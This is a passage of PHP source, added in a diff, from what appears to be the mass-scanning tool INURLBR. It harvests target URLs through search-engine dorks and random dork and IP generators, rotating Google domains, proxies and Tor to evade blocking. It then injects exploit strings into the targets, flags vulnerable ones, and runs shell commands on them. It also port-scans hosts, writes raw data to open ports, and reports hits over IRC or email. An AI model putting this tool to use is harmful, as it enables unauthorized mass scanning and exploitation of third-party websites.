__getOut("\n"); +} + +################################################################################ +#CASE URLS FILTER AND VALIDATING URL VALID###################################### +################################################################################ + +function __subProcess($resultado = NULL) { + + $resultado_ = is_array($resultado) ? array_unique(array_filter($resultado)) : $resultado; + if (isset($resultado_)) { + + foreach ($resultado_ as $result) { + + $result = __filterURLTAG($result); + $result_ = __validateURL($result) ? $result : NULL; + $blacklist_ = (!is_null($_SESSION["config"]["webcache"])) ? str_replace('webcache.,', '', $_SESSION["config"]['blacklist']) : $_SESSION["config"]['blacklist']; + __plus(); + + if (not_isnull_empty($result_) && !__validateOptions($blacklist_, $result_, 1)) { + + $_SESSION["config"]["totas_urls"].= "{$result_}\n"; + } + } + } +} + +################################################################################ +#DEBUGAR VALORES E PROCESSOS#################################################### +################################################################################ + +function __debug($valor, $op = NULL) { + + return isset($_SESSION["config"]["debug"]) && __validateOptions($_SESSION["config"]["debug"], $op) ? "\n[ INFO ][ FUNCTION ]=>{$valor['function']}[ DEBUG ] => \n" . print_r($valor['debug']) . "\n" : NULL; +} + +################################################################################ +#TIME TO PROCESS SEC############################################################ +################################################################################ + +function __timeSec($camp, $value = NULL) { + + echo!is_null($_SESSION['config'][$camp]) && !empty($_SESSION['config'][$camp]) ? "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ TIME SEC/DELAY ]::{$_SESSION["c1"]}{ {$_SESSION["c8"]}[ {$_SESSION['config'][$camp]} ]{$_SESSION["c1"]} }{$_SESSION["c0"]}{$value}" : NULL; + !is_null($_SESSION['config'][$camp]) ? sleep($_SESSION['config'][$camp]) : NULL; +} + +################################################################################ +#SEARCH ENGINE CONFIGURATION#################################################### +################################################################################ + +function __pageEngine($confArray, $motorNome, $motorURL, $dork, $postDados, $pagStart, $pagLimit, $pagIncrement, $pagStart2 = NULL, $pagIncrement2 = NULL) { + + __plus(); + + echo ("\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ ENGINE ]::{$_SESSION["c1"]}[ {$motorNome} ]{$_SESSION["c0"]}\n"); + echo (!is_null($_SESSION['config']['max_pag']) ? ("{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ LIMIT PAG ]::{$_SESSION["c1"]}[ {$_SESSION['config']['max_pag']} ]{$_SESSION["c0"]}\n") : NULL); + $http_proxy = not_isnull_empty($_SESSION['config']['proxy-http-file']) || not_isnull_empty($_SESSION['config']['proxy-http']) ? __proxyHttpRandom() : NULL; + echo not_isnull_empty($http_proxy) ? "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ HTTP_PROXY ]:: {$http_proxy}{$_SESSION["c0"]}\n" : NULL; + echo "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ SEARCHING ]:: {$_SESSION["c0"]}\n"; + + $contMaxpg = 0; + $pagStart2_ = $pagStart2; + $pagStart3_ = $pagStart2; + while ($pagStart <= $pagLimit) { + + echo "{$_SESSION["c1"]}-{$_SESSION["c16"]}[{$_SESSION["c12"]}:::{$_SESSION["c16"]}]{$_SESSION["c0"]}"; + __plus(); + $_proxy = not_isnull_empty($confArray["list_proxy_rand"]) && !not_isnull_empty($_SESSION['config']['time-proxy']) ? $confArray["list_proxy_rand"] : $_SESSION["config"]["proxy"]; + $proxy = not_isnull_empty($_SESSION['config']['proxy-file']) && not_isnull_empty($_SESSION['config']['time-proxy']) ? __timeSecChangeProxy($confArray["list_proxy_file"]) : $_proxy; + + $murl[0] = str_replace("[DORK]", $dork, $motorURL); + $murl[0] = str_replace("[PAG]", $pagStart, $murl[0]); + $murl[0] = str_replace("[PAG2]", $pagStart2_, $murl[0]); + $murl[0] = str_replace("[PAG3]", $pagStart3_, $murl[0]); + $murl[0] = str_replace("[RANDOM]", base64_encode(intval(rand() % 255) . intval(rand() % 2553333)), $murl[0]); + $murl[0] = str_replace("[IP]", intval(rand() % 255) . "." . intval(rand() % 255) . "." . intval(rand() % 255) . "." . intval(rand() % 255), $murl[0]); + + + $postDados = !is_null($postDados) ? __convertUrlQuery(parse_url(urldecode($murl[0]), PHP_URL_QUERY)) : NULL; + + __debug(array('debug' => "[ URL ENGINE ]{$http_proxy}{$murl[0]}", 'function' => '__pageEngine'), 1); + + $request__ = __request_info($http_proxy . $murl[0], $proxy, $postDados); + __plus(); + $tmp_url = ($motorNome == 'GOOGLE API') ? __filterURLJson($request__["corpo"]) : __filterURL($request__["corpo"], $motorNome); + __subProcess($tmp_url); + __plus(); + + $pagStart = ($pagStart + $pagIncrement); + $pagStart2_ = ($pagStart2_ + $pagIncrement); + $pagStart3_ = ($pagStart3_ + $pagIncrement2); + $contMaxpg++; + __timeSec('delay'); + + if (!is_null($_SESSION['config']['max_pag']) && $_SESSION['config']['max_pag'] == $contMaxpg) { + + break; + } + } +} + +################################################################################ +#SUB PROCESS INJECT VALUES###################################################### +################################################################################ + +function __subExecExploits($target, $exploitArray = array()) { + + echo "\n{$_SESSION["c1"]}|_[ * ]__\n"; + echo " |[ SUB PROCESS ]::\n"; + $target = __filterHostname($target); + + foreach ($exploitArray as $value) { + + $postDados = !is_null($_SESSION["config"]["sub-post"]) ? __convertUrlQuery($value) : NULL; + $patch_GP = (is_null($postDados) ? $value : NULL); + $url = $target . $_SESSION["config"]["sub-concat"] . $patch_GP; + + echo "{$_SESSION["c7"]}-[||]{$_SESSION["c0"]}"; + $resultado__ = __request_info($url, $_SESSION["config"]["proxy"], $postDados); + __plus(); + $ifcode = not_isnull_empty($_SESSION['config']['ifcode']) && + strstr($resultado__['server']['http_code'], $_SESSION['config']['ifcode']) ? + "CODE_HTTP_FOUND: {$_SESSION['config']['ifcode']} / " : NULL; + $ifredirect = (strstr($resultado__['server']['redirect_url'], $_SESSION['config']['ifredirect'])) ? $resultado__['server']['redirect_url'] : NULL; + $_ex['erroReturn'] = $ifredirect . $ifcode . __checkError($resultado__['corpo']); + + __plus(); + $_ex['vull_style'] = (not_isnull_empty($_ex['erroReturn'])) ? + "{$_SESSION["c15"]}[ INFO ][ {$_ex['erroReturn']} ]\n[ INFO ][ TARGET POTENTIALLY VULNERABLE ]: " . __cli_beep() : NULL; + echo (not_isnull_empty($_ex['erroReturn']) ? "\n{$_ex['vull_style']}{$url}\n{$_SESSION["c0"]}" : NULL); + echo (not_isnull_empty($_ex['erroReturn']) ? __saveValue($_SESSION['config']['arquivo_output'], $url, 1) . "\n" : NULL); + __plus(); + $_SESSION['config']['resultado_valores'].=(not_isnull_empty($_ex['erroReturn']) ? "{$url}\n" : NULL); + (not_isnull_empty($_ex['erroReturn']) && not_isnull_empty($_SESSION['config']['irc']['irc_connection']) ? + __ircMsg($_SESSION['config']['irc'], "{$_ex['erroReturn']}::: {$url}") : NULL); + + (not_isnull_empty($_ex['erroReturn']) && !is_null($_SESSION['config']['sub-cmd-vul']) ? __command($_SESSION['config']['sub-cmd-vul'], $url) : NULL); + (not_isnull_empty($_SESSION['config']['sub-cmd-all']) ? __command($_SESSION['config']['sub-cmd-all'], $url) : NULL); + __plus(); + __timeSec('delay'); + } + unset($_ex); +} + +################################################################################ +#SEND VALUES EMAIL############################################################## +################################################################################ +# (PHP 4, PHP 5) mail — Send mailhttp://php.net/manual/en/function.mail.php + +function __sendMail($email, $value) { + + $headers = NULL; + $headers .= "From: \r\n"; + $headers .= "MIME-Version: 1.0\r\n"; + $headers .= "Content-type: text/html; charset=iso-8859-1\r\n"; + $headers .= "content-type: text/html\nX-priority: 1\n"; + $body = "------------------------------------------------------\n"; + $body.="DATE: [" . date("d-m-Y H:i:s") . "]"; + $body.=not_isnull_empty($_SESSION['config']['http-header']) ? "HTTP HEADER: {$_SESSION['config']['http-header']}\n" : NULL; + $body.=not_isnull_empty($_SESSION['config']['motor']) ? "MOTOR BUSCA: {$_SESSION['config']['motor']}\n" : NULL; + $body.=not_isnull_empty($_SESSION['config']['tipoerro']) ? "TIPO ERROR: {$_SESSION['config']['tipoerro']}\n" : NULL; + $body.=not_isnull_empty($_SESSION['config']['exploit-get']) ? "EXPLOIT GET: {$_SESSION['config']['exploit-get']}\n" : NULL; + $body.=not_isnull_empty($_SESSION['config']['exploit-post']) ? "EXPLOIT-POST: {$_SESSION['config']['exploit-post']}\n" : NULL; + $body.=not_isnull_empty($_SESSION['config']['command-vul']) ? "COMMAND VUL: {$_SESSION['config']['command-vul']}\n" : NULL; + $body.=not_isnull_empty($_SESSION['config']['command-all']) ? "COMMAND ALL: {$_SESSION['config']['command-all']}\n" : NULL; + $body.=not_isnull_empty($_SESSION['config']['user-agent']) ? "USER AGENT: {$_SESSION['config']['user-agent']}\n" : NULL; + $body.= "------------------------------------------------------\n"; + + if (mail($email, "[ INFO ][ OUTPUT INURLBR ]:: {$value}", $body, $headers)) { + __plus(); + return "[ INFO ][ SUBMITTED SUCCESSFULLY ]\n"; + } else { + __plus(); + return "[ INFO ][ NOT SENT ]\n"; + } +} + +################################################################################ +#HOST GOOGLE RANDOM############################################################# +################################################################################ + +function __dominioGoogleRandom() { + + $_SESSION["random"]['dominio_google'] = array( + 'www.google.com', 'www.google.ac', 'www.google.com.om', + 'www.google.ad', 'www.google.ae', 'www.google.com.af', + 'www.google.com.ag', 'www.google.com.ai', 'www.google.am', + 'www.google.it.ao', 'www.google.com.ar', 'www.google.cat', + 'www.google.as', 'www.google.at', 'www.google.com.au', + 'www.google.az', 'www.google.ba', 'www.google.com.bd', + 'www.google.be', 'www.google.bf', 'www.google.bg', + 'www.google.com.bh', 'www.google.bi', 'www.google.bj', + 'www.google.com.bn', 'www.google.com.bo', 'www.google.com.br', + 'www.google.bs', 'www.google.co.bw', 'www.google.com.by', + 'www.google.com.bz', 'www.google.ca', 'www.google.com.kh', + 'www.google.cc', 'www.google.cd', 'www.google.cf', + 'www.google.cn', 'www.google.com.co', 'www.google.co.nz', + 'www.google.cg', 'www.google.ch', 'www.google.ci', + 'www.google.co.ck', 'www.google.cl', 'www.google.cm', + 'www.google.co.cr', 'www.google.com.cu', 'www.google.cv', + 'www.google.cz', 'www.google.de', 'www.google.nu', + 'www.google.dj', 'www.google.dk', 'www.google.dm', + 'www.google.com.do', 'www.google.dz', 'www.google.no', + 'www.google.com.ec', 'www.google.ee', 'www.google.com.eg', + 'www.google.es', 'www.google.com.et', 'www.google.com.np', + 'www.google.fi', 'www.google.com.fj', 'www.google.fm', + 'www.google.fr', 'www.google.ga', 'www.google.nl', + 'www.google.ge', 'www.google.gf', 'www.google.gg', + 'www.google.com.gh', 'www.google.com.gi', 'www.google.nr', + 'www.google.gl', 'www.google.gm', 'www.google.gp', + 'www.google.gr', 'www.google.com.gt', 'www.google.com.ni', + 'www.google.gy', 'www.google.com.hk', 'www.google.hn', + 'www.google.hr', 'www.google.ht', 'www.google.com.ng', + 'www.google.hu', 'www.google.co.id', 'www.google.iq', + 'www.google.ie', 'www.google.co.il', 'www.google.com.nf', + 'www.google.im', 'www.google.co.in', 'www.google.io', + 'www.google.is', 'www.google.it', 'www.google.ne', + 'www.google.je', 'www.google.com.jm', 'www.google.jo', + 'www.google.co.jp', 'www.google.co.ke', 'www.google.com.na', + 'www.google.ki', 'www.google.kg', 'www.google.co.kr', + 'www.google.com.kw', 'www.google.kz', 'www.google.co.mz', + 'www.google.la', 'www.google.com.lb', 'www.google.com.lc', + 'www.google.li', 'www.google.lk', 'www.google.com.my', + 'www.google.co.ls', 'www.google.lt', 'www.google.lu', + 'www.google.lv', 'www.google.com.ly', 'www.google.com.mx', + 'www.google.co.ma', 'www.google.md', 'www.google.me', + 'www.google.mg', 'www.google.mk', 'www.google.mw', + 'www.google.ml', 'www.google.mn', 'www.google.ms', + 'www.google.com.mt', 'www.google.mu', 'www.google.mv', + 'www.google.com.pa', 'www.google.com.pe', 'www.google.com.ph', + 'www.google.com.pk', 'www.google.pn', 'www.google.com.pr', + 'www.google.ps', 'www.google.pt', 'www.google.com.py', + 'www.google.com.qa', 'www.google.ro', 'www.google.rs', + 'www.google.ru', 'www.google.rw', 'www.google.com.sa', + 'www.google.com.sb', 'www.google.sc', 'www.google.se', + 'www.google.com.sg', 'www.google.sh', 'www.google.si', + 'www.google.sk', 'www.google.com.sl', 'www.google.sn', + 'www.google.sm', 'www.google.so', 'www.google.st', + 'www.google.com.sv', 'www.google.td', 'www.google.tg', + 'www.google.co.th', 'www.google.tk', 'www.google.tl', + 'www.google.tm', 'www.google.to', 'www.google.com.tn', + 'www.google.com.tr', 'www.google.tt', 'www.google.com.tw', + 'www.google.co.tz', 'www.google.com.ua', 'www.google.co.ug', + 'www.google.co.uk', 'www.google.us', 'www.google.com.uy', + 'www.google.co.uz', 'www.google.com.vc', 'www.google.co.ve', + 'www.google.vg', 'www.google.co.vi', 'www.google.com.vn', + 'www.google.vu', 'www.google.ws', 'www.google.co.za', + 'www.google.co.zm', 'www.google.co.zw' + ); + + return $_SESSION["random"]['dominio_google'][rand(0, count($_SESSION["random"]['dominio_google']) - 1)]; +} + +################################################################################ +#(CSE)-GOOGLE Custom Search Engine ID RANDOM#################################### +################################################################################ + +function __googleGenericRandom() { + + $generic = array( + '013269018370076798483:wdba3dlnxqm', + '005911257635119896548:iiolgmwf2se', + '007843865286850066037:b0heuatvay8', + '002901626849897788481:cpnctza84gq', + '006748068166572874491:55ez0c3j3ey', + '012984904789461885316:oy3-mu17hxk', + '006688160405527839966:yhpefuwybre', + '003917828085772992913:gmoeray5sa8', + '007843865286850066037:3ajwn2jlweq', + '010479943387663786936:wjwf2xkhfmq', + '012873187529719969291:yexdhbzntue', + '012347377894689429761:wgkj5jn9ee4' + ); + return $generic[rand(0, count($generic) - 1)]; +} + +################################################################################ +#PROXY HTTP BASE FILE########################################################### +################################################################################ + +function __proxyHttpRandom() { + + $proxy_file = (file_exists($_SESSION['config']['proxy-http-file']) ? __openFile($_SESSION['config']['proxy-http-file'], 1) : array()); + $proxy_ = is_array($proxy_file) ? array_merge($_SESSION['config']['proxy-http'], $proxy_file) : $_SESSION['config']['proxy-http']; + + return $proxy_[rand(0, count($proxy_) - 1)]; +} + +################################################################################ +#FILTER UNIQUE DOMAIN########################################################### +################################################################################ + +function __filterDomainUnique($resultados) { + + if (is_array($resultados)) { + + foreach ($resultados as $value) { + + $temp[] = "http://" . __filterHostname($value); + } + + return array_unique(array_filter($temp)); + } + + return FALSE; +} + +################################################################################ +#FILTER IF URL DOMAIN########################################################### +################################################################################ + +function __filterURLif($resultados) { + + if (is_array($resultados)) { + + foreach ($resultados as $value) { + + $temp[] = not_isnull_empty($_SESSION['config']['ifurl']) && strstr($value, $_SESSION['config']['ifurl']) ? $value : NULL; + } + + return array_unique(array_filter($temp)); + } + + return FALSE; +} + +################################################################################ +#GENERATOR RANGE IP############################################################# +################################################################################ + +function __generatorRangeIP($range) { + + $ip_ = explode(',', $range); + if (is_array($ip_)) { + + $_ = array(0 => ip2long($ip_[0]), 1 => ip2long($ip_[1])); + while ($_[0] <= $_[1]) { + + $ips[] = "http://" . long2ip($_[0]); + $_[0] ++; + } + } else { + + return FALSE; + } + + return $ips; +} + +################################################################################ +#GENERATOR RANGE IP RANDOM###################################################### +################################################################################ + +function __generatorIPRandom($cont) { + + $cont[0] = 0; + while ($cont[0] < $cont[1]) { + + $bloc[0] = rand(0, 255); + $bloc[1] = rand(0, 255); + $bloc[2] = rand(0, 255); + $bloc[3] = rand(0, 255); + $ip[] = "http://{$bloc[0]}.{$bloc[1]}.{$bloc[2]}.{$bloc[3]}"; + $cont[0] ++; + } + return array_unique($ip); +} + +################################################################################ +#ACESSING FILE ROBOTS########################################################### +################################################################################ + +function __getValuesRobots($url) { + + $_[0] = "http://" . __filterHostname($url) . "/robots.txt"; + $_[0] = __request_info($_[0], $_SESSION["config"]["proxy"], NULL); + echo "\n{$_SESSION["c1"]}|_[ * ]__\n"; + echo " |[ ACCESSING FILE ROBOTS ]::\n"; + + if (not_isnull_empty($_[0]['corpo']) && $_[0]['server']['http_code'] == 200) { + + $_[1] = array_unique(array_filter(explode("\n", $_[0]['corpo']))); + + foreach ($_[1] as $value) { + + if (strstr($value, 'Disallow:') || strstr($value, 'Allow:')) { + + echo "|_[ + ]__|[ value={$value}\n"; + __saveValue($_SESSION['config']['arquivo_output'], $value, 2); + } + __plus(); + } + } else { + + echo "\t[x][ ERRO ] LOAD FILE ROBOTS.TXT [ COD_HTTP ]:: {$_[0]['server']['http_code']}\n{$_SESSION["c0"]}"; + } +} + +################################################################################ +#Base64 string encryption md5 , hexadecimal, hex, base64 & random string######## +################################################################################ + +function __crypt($url) { + + preg_match_all("#(md5|base64|hex|random)(\()(.*?)(\))#", $url, $_); + $cont = 0; + + foreach ($_[0] as $replace) { + + if (strstr($replace, 'md5(')) + $func = 'md5'; + + if (strstr($replace, 'base64(')) + $func = 'base64_encode'; + + if (strstr($replace, 'hex(')) + $func = 'bin2hex'; + + if (strstr($replace, 'random(')) + $func = 'random'; + + $url = str_replace($replace, $func($_[3][$cont]), $url); + $cont ++; + } + return $url; +} + +################################################################################ +#GENERATE RANDOM STRING######################################################### +################################################################################ +#(PHP4,PHP5) Shuffle an array http://php.net/manual/en/function.shuffle.php + +function random($__) { + $_ = 'A,a,B,b,C,c,D,d,E,e,F,f,G,g,'; + $_.= 'H,h,I,i,J,j,K,k,L,l,M,m,'; + $_.= '1,2,3,4,5,6,7,8,9,0'; + $_ = explode(',', $_); + shuffle($_); + $_ = implode($_, ''); + return substr($_, 0, $__); +} + +################################################################################ +#GENERATE RANDOM DORKS########################################################## +################################################################################ + +function __randomDork($_) { + + $dk[1] = array('view', 'page', 'index', 'file', 'ver', 'web', 'form', 'public', 'map', 'visit', + 'site', 'perfil', 'sistema', 'system', 'cad', 'frm', 'content', 'conteudo', 'graf', 'page', + 'search', 'arch', 'class', 'app', 'galeria', 'text', 'noticia', 'default', 'storytopic', 'home', + 'lenoticia', 'counter', 'todos', 'all', 'principal', 'main', 'pesquisa', 'dir', 'category', 'news_more', + 'info', 'display', 'showrecord', 'download', 'sum', 'produtos', 'Menu', 'guia', 'product', 'about', + 'WebForms', 'proj', 'inter', 'PageText', 'topper', 'notes', 'name', 'redirect', 'open_link', 'artist', + 'curricu', 'resumen', 'top', 'list', 'directorio', 'Project', 'membre', 'photos', 'Contenido', + 'presentation', 'component', 'release', 'article', 'asesores', 'Detail', 'about', 'lire', 'story', + 'memoriam', 'transport', 'journal', 'album', 'community', 'includes', 'ler', 'video', 'configs', 'refer', + 'form_cpf', 'atualiza', 'refresh', 'materia', 'fotos', 'photos', 'itemdetail', 'listcategoriesandproduct', + 'myaccount', 'learnmore', 'powersearch', 'prodbycat', 'prodetails', 'prodlist', 'productDisplay', 'promotion', + 'pview', 'resellers', 'inc', 'oferta', 'layout', 'standard', 'blank', 'path', 'declaration', 'newsitem', 'games', + 'buy', 'readnews', 'event', 'news_view', 'communique_detail', 'kategorie', 'preview', 'faq2', 'comment', 'newsDetail', + 'shopping', 'shop_category', 'product_ranges_view', 'section', 'ages', 'curriculum', 'galeri_info', 'tekst', 'play_old', + 'viewapp', 'padrao', 'sitio', 'head', 'template', 'index1', 'index2', 'index3', 'index4', 'index5', 'mod', 'press', 'gery', + 'index_table', 'mainfile', '_functions', 'phpshop', 'new-visitor.inc', 'Packages', 'editor', 'board', 'advanced', 'pref', + 'q', 'side', 'home1', 'home2', 'home3', 'getbook', 'checkout', 'affiliate', 'addcart', 'product_info', 'showsub', 'library', + 'edition', 'get', 'temp', 'catalog', 'press2', 'company', 'jobs', 'review', 'input', 'cats', 'showmedia', 'event_info' + ); + + + $dk[2] = array('view', 'file', 'ver', 'web', 'form', 'public', 'map', 'site', 'perfil', 'bookid', + 'sistema', 'system', 'cad', 'frm', 'content', 'id', 'action', 'user', 'option', 'area', 'catalogid', + 'tp', 'pg', 'p', 'v', 'a', 't', 'r', 'o', 'm', 'n', 'sec', 'lang', 'search', 'Itemid', 'open', + 'servicoid', 'id_ap', 'artic', 'pag', 'archive', 'ind', 'sigl', 'url', 'link', 'tp', 'cd', 'item_ID', + 'web', 'sourc', 'sitemap', 'go', 'galeria', 'img', 'notic', 'num', 'ter', 'dow', 'type', 'CartId', + 'redir', 'default', 'storytopic', 'topic', 'cod_noti', 'detalhe', 'ler', 'storyid', 'start', + 'click', 'title', 'tmpl', 'templat', 'cont', 'corp', 'contat', 'consult', 'main', 'exib', 'guia', + 'span', 'OpenDocument', 'document', 'codidem', 'pesq', 'print', 'imprimir', 'jobs', 'pic', 'contri', + 'code', 'myPage', 'openPage', 'homepage', 'home', 'inner', 'custom', 'bin', 'IsisScript', 'pid', + 'wxis.exe', 'wood', 'modules', 'kbn', 'chid', 'jump', 'mes', 'ano', 'month', 'year', 'day', 'dia', 'pre', + 'show', 'download', 'summit', 'new', 'coming', 'Category', 'produtos', 'Menu', 'uid', 'Consulta', 'qry', + 'product', 'WebForms', 'proj', 'inter', 'scgi', 'orig_q', 'b1', 'showpage', 'filter', 'Detail', 'about', + 'itemlist', 'memor', 'info', 'website', 'cidade', 'lic', 'materia', 'SEC_', 'includes', 'store', 'ler', + 'reader', 'src', 'theme', 'Boletim', 'busca', 'date', 'video', 'configs', 'exec', 'doc', 'refresh', 'telec', + 'digital', 'materia', 'portal', 'shop', 'photos', 'sales', 'open', 'check', 'token', 'general', 'process', 'ViewType', + 'idCategor', 'intCatalogID', 'Cart', 'maingroup', 'play', 'where', 'mod', 'panel', 'str', 'staff_id', 'buy', 'preview', + 'chapter', 'club_id', 'GLOBALS', 'absolute_path', 'body', 'from', 'pg_ID', 'load', 'systempath', 'conf', 'do', 'x', 'temp', + 'see', 'act', 'middle', 'content', 'q', 'my', 'to', 'nivel', 'arq', 'modo', 'rss', 'pagina', 'opcion', 'loader', 'l', 'this', + 'subject', 'param', 'index', 'tipo', 'second', 'loc', 'cat_id', 'magazin', 'artist_art', 'cID', 'cat', 'message_id', '' + ); + + $dk[3] = array('aspx', 'asp', 'cfm', 'php', 'php3', 'pl', 'cgi', 'py', 'jsp'); + + for ($i = 0; $i <= $_; $i++) { + + $dm = NULL; + $da = $dk[1][rand(0, count($dk[1]) - 1)]; + $dg = $dk[2][rand(0, count($dk[2]) - 1)]; + $de = $dk[3][rand(0, count($dk[3]) - 1)]; + + $__[] = "\"{$dm}/{$da}.{$de}?{$dg}\""; + } + return $__; +} + +################################################################################ +#VALIDATING OPEN DOORS########################################################## +################################################################################ +#(PHP 4, PHP 5) fsockopen — Open Internet or Unix domain socket connection +#http://php.net/manual/en/function.fsockopen.php + +function __portScan($_) { + + // FORMAT PORTS 80, 8181, 22, 21 + $ports = explode(',', $_[1]); + echo "\n{$_SESSION["c1"]}|_[ * ]__\n"; + echo " |[ PROCESS PORT-SCAN ]::\n"; + foreach ($ports as $value) { + + $conc = fsockopen($_SESSION['config']['server_ip'], $value, $_[2], $_[3], 30); + // HOST, POST, ERROR1, ERROR3, TIMEOUT + + __plus(); + + if ($conc) { + + echo "{$_SESSION["c1"]}|_[ + ]__|[ {$value}=\033[1m\033[32mOPEN{$_SESSION["c0"]}"; + (not_isnull_empty($_SESSION['config']['port-write']) ? __portWrite($conc, $_SESSION['config']['port-write']) : NULL); + __saveValue($_SESSION['config']['arquivo_output'], "{$value}=OPEN", 2); + + __plus(); + $_[0]['url_port'] = $value; + (not_isnull_empty($_SESSION['config']['port-cmd']) ? __command($_SESSION['config']['port-cmd'], $_[0]) : NULL); + __plus(); + } else { + + echo "{$_SESSION["c1"]}|_[ x ]__|[ {$value}={$_SESSION["c9"]}CLOSED{$_SESSION["c0"]}\n"; + __plus(); + } + } + echo $_SESSION["c0"]; + fclose($conc); +} + +################################################################################ +#WRITING ON THE DOOR############################################################ +################################################################################ +#(PHP 4, PHP 5) fwrite — Binary-safe file write +#http://php.net/manual/pt_BR/function.fwrite.php + +function __portWrite($conect, $valores) { + + $valores = explode(',', $valores); + foreach ($valores as $value) { + + echo "{$_SESSION["c1"]}|_[ + ]__|[ WRITE SEND={$value}{$_SESSION["c0"]}\n"; + fwrite($conect, "{$value}\r\n") . sleep(3); + __plus(); + } +} + +################################################################################ +#CODE SEARCH ENGINES############################################################ +################################################################################ +//$_SESSION['config']['cod'] = ' + +function __engines($dork, $list_proxy) { + + $dork_ = (not_isnull_empty($dork)) ? $dork : __getOut("DEFINA SUA DORK\n"); + $list_proxy_ = (!is_null($list_proxy) ? $list_proxy[rand(0, count($list_proxy) - 1)] : NULL); + + $confArray = array("list_proxy_rand" => $list_proxy_, "list_proxy_file" => $list_proxy); + + (!is_null($_SESSION["config"]["tor-random"]) && !is_null($_SESSION["config"]["proxy"]) ? __renewTOR() : NULL); + + echo "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ SEARCHING ]:: {$_SESSION["c1"]}{{$_SESSION["c0"]} "; + + __plus(); + + echo (!is_null($list_proxy_) ? "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ PROXY FILE RANDOM ]:: {$_SESSION["c1"]}[ {$list_proxy_} ]{$_SESSION["c0"]} " : NULL ); + +################################################################################ +# SEARCH ENGINE ::: google +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 1) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + $randHost = __dominioGoogleRandom(); + $_SESSION["config"]["dork_tmp"] = $dork_; + $_SESSION["config"]["conf_array_tmp"] = $confArray; + __pageEngine($confArray, "GOOGLE - {$randHost}", "https://{$randHost}/search?q=[DORK]&num=1500&btnG=Search&pws=1", $dork_, $postDados, 0, 0, 1); + } + + +################################################################################ +# SEARCH ENGINE ::: bing +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 2) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "BING", "http://www.bing.com/search?q=[DORK]&&filt=rf&first=[PAG]", $dork_, $postDados, 1, 991, 50); + } + +################################################################################ +# SEARCH ENGINE ::: yahoo +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 3) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "YAHOO BR", "http://search.yahoo.com/search?p=[DORK]&ei=UTF-8&b=[PAG]", $dork_, $postDados, 1, 471, 10); + } + +################################################################################ +# SEARCH ENGINE ::: ask +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 4) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "ASK", "http://www.ask.com/web?q=[DORK]&page=[PAG]&qid=[RANDOM]", $dork_, $postDados, 0, 16, 1); + } + +################################################################################ +# SEARCH ENGINE ::: hao123 +################################################################################ + + + if (__validateOptions($_SESSION["config"]["motor"], 5) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "HAO123 BR", "http://search.hao123.com.br/s?tn=[RANDOM]&f=0&wd=[DORK]&haobd=[RANDOM]FG=1&ie=utf-8&pn=[PAG]&showTop=0", $dork_, $postDados, 0, 550, 10); + } + +################################################################################ +# SEARCH ENGINE ::: googleapis +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 1) || __validateOptions($_SESSION["config"]["motor"], 6) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "GOOGLE API", "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&rsz=8&q=[DORK]&start=[PAG]&userip=[IP]&filter=1&safe=off", $dork_, $postDados, 0, 56, 4); + } + +################################################################################ +# SEARCH ENGINE ::: lycos +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 7) || __validateOptions($_SESSION["config"]["motor"], "all")) { + $_ = __request_info("http://search.lycos.com", $_SESSION["config"]["proxy"], $postDados); + $_SESSION["config"]["idPesquisaLycos"] = __getIdSearchLycos($_["corpo"]); + + __pageEngine($confArray, "LYCOS", "http://search.lycos.com/web?q=[DORK]&keyvol={$_SESSION["config"]["idPesquisaLycos"]}&pn=[PAG]", $dork_, $postDados, 0, 24, 1); + } + +################################################################################ +# SEARCH ENGINE ::: uol.com.br +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 8) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "UOL BR", "http://busca.uol.com.br/web/?q=[DORK]&start=[PAG]", $dork_, $postDados, 10, 130, 10); + } + +################################################################################ +# SEARCH ENGINE ::: us.yhs4.search.yahoo +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 9) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "YAHOO US", "http://us.yhs4.search.yahoo.com/yhs/search?p=[DORK]&fr=goodsearch-yhsif&b=[PAG]", $dork_, $postDados, 1, 551, 10); + } + +################################################################################ +# SEARCH ENGINE ::: sapo.pt +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 10) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "SAPO", "http://pesquisa.sapo.pt/?adultfilter=strict&barra=resumo&cluster=0&format=html&limit=10&location=pt&page=[PAG]&q=[DORK]&st=web", $dork_, $postDados, 0, 14, 1); + } + +################################################################################ +# SEARCH ENGINE ::: dmoz +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 11) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "DMOZ", "http://www.dmoz.org/search/search?q=[DORK]&start=[PAG]&type=next&all=yes&cat=", $dork_, $postDados, 0, 800, 20); + } + +################################################################################ +# SEARCH ENGINE ::: gigablast +################################################################################ + + if (__validateOptions($_SESSION["config"]["motor"], 12) || __validateOptions($_SESSION["config"]["motor"], "all")) { + + __pageEngine($confArray, "GIGABLAST", 